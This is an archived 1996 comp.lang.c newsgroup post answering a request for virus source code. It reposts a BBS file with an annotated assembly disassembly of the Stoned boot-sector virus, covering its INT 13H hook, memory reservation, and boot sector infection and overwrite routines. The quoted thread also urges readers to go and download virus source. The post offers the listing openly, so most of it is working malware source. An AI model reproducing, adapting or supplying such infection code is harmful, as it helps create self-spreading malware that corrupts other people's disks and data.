home *** CD-ROM | disk | FTP | other *** search
/ NetNews Offline 2 / NetNews Offline Volume 2.iso / news / comp / lang / c-part1 / 5457 < prev    next >
Encoding:
Internet Message Format  |  1996-08-05  |  14.4 KB

  1. Path: in2.uu.net!DIALix!gmhuucp!chris.cheek
  2. Newsgroups: comp.lang.c
  3. In-Reply-To: all@ucagmh.DIALix.oz.au
  4. Subject: Re: Need info on virus source code
  5. From: chris.cheek@ucagmh.DIALix.oz.au
  6. Message-ID: <COLACE.86D9@ucagmh.DIALix.oz.au>
  7. Date: Fri, 9 Feb 96 12:13:00 +0730
  8. Organization: The Flaming Dove, Karratha WA
  9.  
  10. >On 6 Feb 1996 15:15:06 GMT rikko@nioz.nl (Rikko Verrijzer) spewed
  11. >such:
  12. >
  13. >>As a Student Informatica (Polytechnic School) I am intrested in both, the w
  14. >>Virus are working and how they are build. But since I am no American and yo
  15. >>didn't put any adress off the CERT team I have no idea how to contact them.
  16. >>Further, do I need premision from a teacher of mine or will they believe my
  17. >>baby-face that I mean no harm with the code??
  18. >
  19. >>> Keep in mind that having posted this request to the net, it is now public
  20. >>> knowledge that you have asked for such information...
  21. >
  22. >>It is public knowledge but how do you prove it that someone who asks for co
  23. >>is the virus-programmer???
  24. >
  25. >       None of the issues raised here are valid.  Examine :
  26. >
  27. >       a) There are several web pages with indexed listings of virus source
  28. >       code...free for the download.
  29. >       b) There is nothing illegal in writing virii, owning virii,
  30. >       de-assembling virii.
  31. >       c) A virus only becomes illegal when it is transferred with
  32. >       malicious(sp) intent.
  33. >
  34. >       So who cares???  Let's stop this trivial discussion...go get some
  35. >source code and stop wasting bandwidth with this yakking.
  36. >
  37. >       Have a Day
  38. >
  39.  
  40. Ok here it is [I know Peter Seeb's is gonna see this, but some one want
  41. source so here it is]
  42.  
  43. I got this file from someone else down the line so Flame me for it! and also
  44. whoever wants this should be going to the Asm programming Confrence!
  45. This is a dump of the STONE VIRUS, SO BE VERY CAREFUL!!!!
  46. ----------------------------------------------------------------------------
  47. DISCLAIMER:
  48.  
  49. This file was written and compiled by Brett Looney. The information containe
  50. herein is to be used for peaceful and friendly purposes only. Any idiot foun
  51. using the source to create a virus (be it the same of similar) will be
  52. verbally reprimanded (and may be bashed about the head with a nerf-bat). The
  53. author, Brett Looney, takes no responsibility as to the uses made of this fi
  54. It is up to the local sysop to decide whether this file should be accessible
  55. to users, or only to sensible BBS personnel in the pursuit of eradicating
  56. all viruses.
  57.  
  58. This file was originally uploaded to the Gamma Istari bulletin board, where
  59. the original and un-altered version of this file is available. This file was
  60. uploaded by Michael Studte, who also wrote this disclaimer notice.
  61. ----------------------------------------------------------------------------
  62.  
  63. Listing and data information about the "Stoned Virus".
  64. ======================================================
  65.  
  66. Description:
  67. ------------
  68.  
  69. This virus is harmless to your computer and data except in two cases:
  70. (1) When you have a large directory on your floppy disk, or
  71. (2) When you have a large partition table on your hard disk.
  72. The virus, when installed, makes a copy of the real boot sector and stores i
  73. in one of two places, depending on the media. On a floppy disk, it is stored
  74. in the last sector of the directory listing. On a hard disk, it is stored in
  75. the last sector of the partition table. The virus then installs itself into
  76. the boot sector. The virus will only ever install itself onto a disk in the
  77. first floppy disk drive (A:) or the first hard disk drive (C:).
  78.  
  79. When loaded (by booting from an infected disk), the virus first copies itsel
  80. into high memory, then checks for a hard disk. If it is present and it is no
  81. infected, it is infected by copying the real boot sector into the partition
  82. table, then copying itself into the boot sector. Then, the virus loads the r
  83. boot sector (either from the floppy or hard disk) and the system proceeds as
  84. usual.
  85.  
  86. When installed, the virus will only be active on writes to the first floppy
  87. disk (A:) when the drive is still running. In this case, it will try four ti
  88. to infect the disk if not already infected by copying the real boot sector
  89. to the directory, then copying itself into the boot sector.
  90.  
  91. There are two message stored within the virus. They are:
  92.   Your PC is now Stoned!
  93.   LEGALISE MARIJUANA
  94. The second is never displayed, seemingly left to those who are intelligent
  95. enough to sector edit the virus.
  96. The first message will be displayed on a reboot, after the virus has been
  97. loaded, and if the lower three bits of the clock-tick counter in low memory
  98. are zero after a successful load of the old boot sector from the first flopp
  99. disk drive (A:).
  100.  
  101.  
  102. Note that any offsets are the offset from the beginning of the sector the vi
  103. resides in and are in hex.
  104.  
  105.  
  106. Data area used by virus:
  107. ------------------------
  108.  
  109. This data area starts at offset 8 because two jump instructions are placed
  110. before it.
  111.  
  112. 0008: One byte flag indicating whether virus resides on floppy drive or on h
  113.       drive. This flag enables the virus to tell whether it has to look in t
  114.       directory (on a floppy) or in the partition table (on a hard disk) for
  115.       the real boot sector.
  116.       Holds: 00 when loaded from a floppy disk.
  117.              02 when loaded from a hard disk.
  118.  
  119. 0009: Four bytes that hold the segment and offset of the real interrupt 13H
  120.       handler. This is needed because the virus must be able to perform un-
  121.       infected disk writes when it is attempting to transfer itself.
  122.       Holds: Whatever the address for the INT 13H (ROM-BIOS Disk Services)
  123.              handler.
  124.  
  125. 000D: Four bytes that hold the segment and offset of the virus at the top of
  126.       memory. This is so that the installation part of the virus can find th
  127.       rest of the virus.
  128.       Holds: Whatever the new address of the second part of installation is 
  129.              high memory.
  130.  
  131. 0011: Four bytes that hold the segment and offset of the virus at the bottom
  132.       of memory.
  133.       Holds: Wherever the boot sector is loaded - normally 07C0:0000
  134.  
  135. 0189: The two messages that are stored within the virus.
  136.       Holds:
  137.  
  138.       <BEL>Your PC is now Stoned!<BEL><CR><LF><NUL>
  139.       LEAGLIZE MARIJUANA!<NUL>
  140.  
  141.       Note that <BEL> sounds the bell (beep), <CR> is carraige return, <LF> 
  142.       line feed and <NUL> is the NULL character.
  143.  
  144.  
  145. Dissassembly:
  146. -------------
  147.  
  148. 0000 EA0500C007   JMP 07C0:0005H ;This jumps to the next
  149.       ;instruction. It prevents the
  150.       ;virus from being run at any
  151.       ;time except bootup
  152. 0005 E99900   JMP 00A1H ;Jump to start of the
  153.       ;installation process
  154.       ;See the label START:
  155. ;
  156. ;Data (as described above) is place here.
  157. ;
  158. 0015 1E  INT13:  PUSH DS ;Save these registers
  159. 0016 50    PUSH AX ;for the real INT 13H
  160. 0017 80FC02   CMP AH,02H ;Look for service 03H which is
  161.       ;a disk write
  162. 001A 7217   JB 0033H ;Exit if not a write
  163.       ;See the label EXIT_INT13:
  164. 001C 80FC04   CMP AH,04H ;Again, look for disk write
  165. 001F 7312   JB 0033H ;Exit if not
  166. 0021 0AD2   OR DL,DL   ;This is a write, but must be
  167. 0023 750E   JNZ 0033H ;to the first floppy
  168. 0025 33C0   XOR AX,AX ;Point to low memory area
  169. 0027 8ED8   MOV DS,AX
  170. 0029 A03F04   MOV AL,[043FH] ;This is the diskette
  171.       ;drive motor status byte
  172. 002C A801   TEST AL,01 ;Motor still running if bit 1
  173.       ;is set. This is what we want
  174. 002E 7503   JNZ 0033H ;Exit if not
  175. 0030 380700   CALL 003AH ;Call the infection procedure
  176.       ;See the label INFECT:
  177.  
  178. 0033 58  EXIT_INT13: POP AX ;Restore the registers for the
  179. 0034 1F    POP DS ;real INT 13H
  180. 0035 2E    CS:
  181. 0036 FF230900   JMP FAR [0009H] ;Do the real service
  182.  
  183. 003A 53  INFECT:  PUSH BX ;Save these registers for the
  184. 003B 51    PUSH CX ;real INT 13H a little later
  185. 003C 52    PUSH DX
  186. 003D 06    PUSH ES
  187. 003E 56    PUSH SI
  188. 003F 57    PUSH DI
  189. 0040 BE0400   MOV SI,0004H ;Counter for failed
  190.       ;operations
  191.  
  192. 0043 B80102 TEST_LOOP: MOV AX,0201H ;Read 1 sector
  193. 0046 0E    PUSH CS ;Point to this segment
  194. 0047 07    POP ES
  195. 0048 BB0002   MOV BX,0200H ;Load at end of virus
  196. 004B 33C9   XOR CX,CX ;Track 0 sector 0
  197. 004D 8BD1   MOV DX,CX ;Head 0, A:
  198. 004F 41    INC CX ;Sector 1 (boot)
  199. 0050 9C    PUSHF
  200. 0051 2E    CS:  ;"Call" the real INT 13H
  201. 0052 FF1E0900   CALL FAR [0009H]
  202. 0056 730E   JNB 0066H ;Exit loop if read was OK
  203.       ;See the label END_LOOP:
  204. 0057 33C0   XOR AX,AX ;Reset the disk system
  205. 005A 9C    PUSHF
  206. 005B 2E    CS:  ;"Call" the real INT 13H
  207. 005C FF1E0900   CALL FAR [0009H]
  208. 0060 4E    DEC SI ;Decrement loop counter
  209. 0061 75E0   JNZ 0043 ;Try again (only 4 times)
  210.       ;See the label TEST_LOOP:
  211. 0063 EB35   JMP 009A ;Everything failed - exit
  212.       ;See the label INFECT_EXIT:
  213. 0065 90    NOP
  214.  
  215. 0066 33F6 END_LOOP: XOR SI,SI ;Clear counter, point to the
  216.       ;start of the virus in memory
  217. 0068 BF0002   MOV DI,0200H ;Look at sector read
  218. 006B FC    CLD  ;Increment string instructions
  219. 006C 0E    PUSH CS ;Point to this segment
  220. 006D 1F    POP DS
  221. 006E AD    LODSW  ;Get first word of virus
  222. 006F 3B05   CMP AX,[DI] ;See if same as was read
  223. 0071 7506   JNZ 0079 ;If not, install the virus
  224.       ;See the label NOT_INS:
  225. 0073 AD    LODSW  ;Get next word to make sure
  226. 0074 3B4502   CMP AX,[DI+02H]
  227. 0077 7421   JZ 009A ;Exit if already installed
  228.       ;See the label INFECT_EXIT:
  229. 0079 B80103 NOT_INS: MOV AX,0301 ;Write 1 sector
  230. 007C BB0002   MOV BX,0200 ;The original boot sector
  231. 007F B103   MOV CL,03 ;Sector 3 (directory)
  232. 0081 B601   MOV DH,01 ;Head 1
  233. 0083 9C    PUSHF
  234. 0084 2E    CS:  ;"Call" the real INT 13H
  235. 0085 FF1E0900   CALL FAR [0009H]
  236. 0089 720F   JB 009A ;Exit on failure
  237.       ;See the label INFECT_EXIT:
  238. 008B B80103   MOV AX,0301 ;Write 1 sector
  239. 008E 33DB   XOR BX,BX ;The virus
  240. 0090 B101   MOV CL,01 ;Sector 1 (boot)
  241. 0092 33D2   XOR DX,DX ;Head 0, A:
  242. 0094 9C    PUSHF
  243. 0095 2E    CS:  ;"Call" the real INT 13H
  244. 0096 FF1E0900   CALL FAR [0009H]
  245. 009A 5F  INFECT_EXIT: POP DI ;Restore all registers
  246. 009B 5E    POP SI
  247. 009C 07    POP ES
  248. 009D 5A    POP DX
  249. 009E 59    POP CX
  250. 009F 5B    POP BX
  251. 00A0 C3    RET  ;Return to do real INT 13H
  252.  
  253. 00A1 33C0 START:  XOR AX,AX ;Point to low memory
  254. 00A3 8ED8   MOV DX,AX
  255. 00A5 FA    CLI  ;Set up stak safely
  256. 00A6 8ED0   MOV SS,AX ;Set so as not to disturb
  257. 00A8 BC007C   MOV SP,7C00H ;anything
  258. 00AB FB    STI
  259. 00AC A14C00   MOV AX,[004CH] ;Get current INT 13H
  260. 00AF A3097C   MOV [7C09H],AX ;address and store in
  261. 00B2 A14E00   MOV AX,[004EH] ;CS:0009H
  262. 00B5 A30B7C   MOV [7C0BH],AX
  263. 00B8 A11304   MOV AX,[0413H] ;Get usable memory (K)
  264. 00BB 48    DEC AX ;Reserve 2K for the virus
  265. 00BC 48    DEC AX
  266. 00BD A31304   MOV [0413H],AX ;Save new value
  267. 00C0 B106   MOV CL,06 ;*64 to get reserved memory
  268. 00C2 D3E0   SHR AX,CL ;address
  269. 00C4 8EC0   MOV ES,AX ;Point to new location
  270. 00C6 A30F7C   MOV [7C0FH],AX ;Save segment for later
  271. 00C9 B81500   MOV AX,0015H ;Offset of INT 13H
  272.       ;handler in virus
  273. 00CC A34C00   MOV [004CH],AX ;Install new INT 13H
  274. 00CF 8C064E00   MOV [004EH],ES ;handler
  275. 00D3 B9B8010E   MOV CX,01B8H ;Size of virus
  276. 00D6 0E    PUSH CS ;Point to this segment read
  277. 00D7 1F    POP DS ;for move
  278. 00D8 33F6   XOR SI,SI ;Initialize indexes to 0
  279. 00DA 8BFE   MOV DI,SI
  280. 00DC FC    CLD  ;Increment string instructions
  281. 00DD F3    REPZ  ;Move the whole virus up to
  282. 00DE A4    MOVSB  ;the reserved high memory
  283. 00DF 2E    CS:  ;Jump to the new location as
  284. 00E0 FF2E0D00   JMP FAR [000DH] ;stored earlier.
  285.       ;Actually jumps to next
  286.       ;instruction
  287. 00E4 B80000   MOV AX,0000H ;Reset the disk system
  288. 00E7 CD13   INT 13H
  289. 00E9 33C0   XOR AX,AX ;Point to low memory
  290. 00EB 8EC0   MOV ES,AX
  291. 00ED B80102   MOV AX,0201H ;Read 1 sector
  292. 00F0 BB007C   MOV BX,7C00H ;Over old virus (ES:BX)
  293. 00F3 2E    CS:
  294. 00F4 803E080000   CMP BYTE PTR [0008H],00H ;Check to see
  295.       ;if we loaded from floppy or
  296.       ;hard disk
  297. 00F9 740B   JZ 0106H ;Do floppy boot if 0
  298.       ;See the label FLOPPY:
  299. 00FB B90700   MOV CX,0007H ;Track 0, sector 7
  300. 00FE BA8000   MOV DX,00080 ;Head 0, C:
  301. 0101 CD13   INT 13H ;Save old boot sector
  302. 0103 EB49   JMP 014EH ;Now exit - virus on disk
  303.       ;See label EXIT:
  304. 0105 90    NOP
  305.  
  306. 0106 B90300 FLOPPY:  MOV CX,0003H ;Track 0, sector 3
  307. 0109 BA0001   MOV DX,0100H ;Head 1, A:
  308. 010C CD13   INT 13H ;Save old boot sector
  309. 010E 723E   JB 014EH ;Exit on error
  310.       ;See label EXIT:
  311. 0110 723E   ES:  ;Check the clock tick counter
  312. 0111 26    TEST BYTE PTR [046CH],07H ;in low memory
  313. 0116 7512   JNZ 012AH ;Exit if low 3 bits are not 0
  314.       ;See label NO_DISP:
  315. 0118 BE8901   MOV SI,0189H ;Point to first message
  316. 011B 0E    PUSH CS ;Point to this segment
  317. 011C 1F    POP DS
  318.  
  319. 011D AC  DISP_LOOP: LODSB  ;Get character
  320. 011E 0AC0   OR AL,AL ;Check for NULL
  321. 0120 7408   JZ 012AH ;Exit if end of message
  322.       ;See label NO_DISP
  323. 0122 B40E   MOV AH,0EH ;Display character in TTY mode
  324. 0124 B700   MOV BH,00H ;Display page 0
  325. 0126 CD10   INT 10H ;BIOS video services
  326. 0128 EBF3   JMP 011H ;Loop for next character
  327.       ;See label DISP_LOOP:
  328.  
  329. 012A 0E  NO_DISP: PUSH CS ;Point to this segment
  330. 012B 07    POP ES
  331. 012C B80102   MOV AX,0201H ;Read one sector
  332. 012F BB0002   MOV BX,0200H ;After virus in memory
  333. 0132 B101   MOV CL,01H ;Track 0, sector 1 (boot)
  334. 0134 BA8000   MOV DX,0080H ;Head 0, C:
  335. 0137 CD13   INT 13H
  336. 0139 7213   JB 014EH ;Exit on error
  337.       ;See label EXIT:
  338. 013B 0E    PUSH CS ;Point to this segment
  339. 013C 1F    POP DS
  340. 013D BE0002   MOV SI,0200H ;Point to sector just read
  341. 0140 BF0000   MOV DI,0000H ;Start of virus
  342. 0143 AD    LODSW  ;Get a word
  343. 0144 3B05   CMP AX,[DI] ;See if same as was read
  344. 0146 7511   JNZ 0159H ;Install if not
  345.       ;See label INSTALL:
  346. 0148 AD    LODSW  ;Else make sure that installed
  347. 0149 3B4502   CMP AX,[DI+02H] ;Look at next word
  348. 014C 750B   JNZ 0159H ;Install if not the same
  349.       ;See label INSTALL:
  350.  
  351. 014E 2E  EXIT:  CS:
  352. 014F C606080000   MOV BYTE PTR [0008H],00H ;Set for floppy
  353.       ;drive installation
  354. 0154 2E    CS:
  355. 0155 FF2E1100   JMP FAR [0011H] ;Jump to real boot
  356.       ;sector that was read in before
  357.  
  358.   INSTALL:
  359. 0159 2E    CS:
  360. 015A C606080002   MOV BYTE PTR [0008H],02H ;Set for hard
  361.       ;drive installation for write
  362. 015F B80103   MOV AX,0301H ;Write 1 sector
  363. 0162 BB0002   MOV BX,0200H ;Buffer = old boot
  364. 0165 B90700   MOV CX,0007H ;Track 0, sector 7
  365. 0168 BA8000   MOV DX,0080H ;Head 0, C:
  366. 016B CD13   INT 13H ;Save into partition table
  367. 016D 72DF   JB 014EH ;Exit on error
  368.       ;See label EXIT:
  369. 016F 0E    PUSH CS ;Point to this segment
  370. 0170 1F    POP DS
  371. 0171 0E    PUSH CS
  372. 0172 07    POP ES
  373. 0173 BEBE03   MOV SI,03BEH ;Write over old boot
  374. 0176 BFBE01   MOV DI,01BEH ;sector in memory with
  375. 0179 B94202   MOV CX,0242H ;complete garbage
  376. 017C F3    REPZ
  377. 017D A4    MOVSB
  378. 017E B80103   MOV AX,0301H ;Write 1 sector
  379. 0181 33DB   XOR BX,BX ;Buffer location - this virus
  380. 0183 FEC1   INC CL ;Track 0, sector 0, head 0, C:
  381. 0185 CD13   INT 13H
  382. 0187 EBC5   JMP 014EH ;And exit
  383.       ;See label EXIT:
  384.